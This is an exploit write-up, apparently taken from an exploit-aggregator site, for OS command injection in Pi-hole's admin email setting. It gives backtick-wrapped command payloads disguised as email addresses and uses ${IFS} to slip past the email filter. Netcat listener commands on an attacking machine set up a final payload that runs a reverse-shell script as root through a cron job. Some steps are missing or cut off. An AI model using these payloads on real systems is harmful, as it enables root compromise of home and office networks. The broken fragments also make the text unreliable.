Exploit for OS Command Injection in Pi-Hole

## https://sploitus.com/exploit?id=52D412BE-3B7F-5078-8FF3-6189C2AA3CAC
## Pi-Hole /tmp/poc_proof.txt`"@example.com``

![Screenshot 1](image001.png?raw=true)

Within 10 minutes a root owned file containing "test" will be created within "/tmp/poc_proof.txt" with root privileges.

![Screenshot 2](image003.jpg?raw=true)

In order to perform any further meaningful attacks one also needs to bypass the limitation of whitespaces (which aren't valid e-mail characters and are being caught by FILTER_VALIDATE_EMAIL function). For this, the internal linux variable ${IFS} was utilised (which defaults to whitespace in most unix os's).

**PoC:**

*Note: this could be automated with a 1-liner using POSIX shell grammar i.e. &&, || ... 

1. Ensure you have your script delivery mechanism ready on your attacking machine. I.e. On the attacking machine:

`nc -nvlp 4444 /tmp/revshell.py`"@example.com``

![Screenshot 3](image005.png?raw=true)

The HTTP request will look like this when examined with an HTTP proxy:

![Screenshot 4](image007.png?raw=true)
 
Wait 10 minutes for the cron  job to run and grab the script or for reproduction purposes manually run `/usr/local/bin/pihole updatechecker local`. You can also validate the injected command residing in "/etc/pihole/setupVars.conf" (found assigned to the ADMIN_EMAIL variable)

3. Ensure you have your shell catch service ready. I.e. on the attacking machine:

`nc -nvlp 4445`

4. Finally, you can submit the following:

``“`python${IFS}/tmp/revshell.py`”@example.com``

Once again wait for 10 minutes (or execute cron script manually for issue reproduction purposes) and you will retrieve a root shell on your attacking machine. 

![Screenshot 1](image009.jpg?raw=true)